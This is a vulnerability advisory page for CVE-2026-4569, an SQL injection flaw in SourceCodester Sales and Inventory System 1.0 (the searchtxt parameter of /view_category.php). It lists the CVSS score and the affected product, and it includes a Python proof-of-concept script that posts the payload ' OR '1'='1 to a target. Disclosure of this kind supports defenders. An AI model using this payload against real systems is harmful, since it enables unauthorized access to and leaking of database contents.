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CVE-2026-4569 CVSS 6.3 MEDIUM

CVE-2026-4569

Published: 2026-03-23 04:16:18
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in SourceCodester Sales and Inventory System 1.0. This impacts an unknown function of the file /view_category.php of the component HTTP POST Request Handler. This manipulation of the argument searchtxt causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Sales and Inventory System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_sqli(target_url): """ Exploit SQL Injection in SourceCodester Sales and Inventory System 1.0 Vulnerable file: /view_category.php Vulnerable parameter: searchtxt (POST) """ url = f"{target_url}/view_category.php" # Basic SQL Injection payload to test vulnerability payload = { "searchtxt": "' OR '1'='1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for potential database errors or data leakage.") print(response.text[:500]) # Print first 500 chars for verification else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_sqli(target)

References

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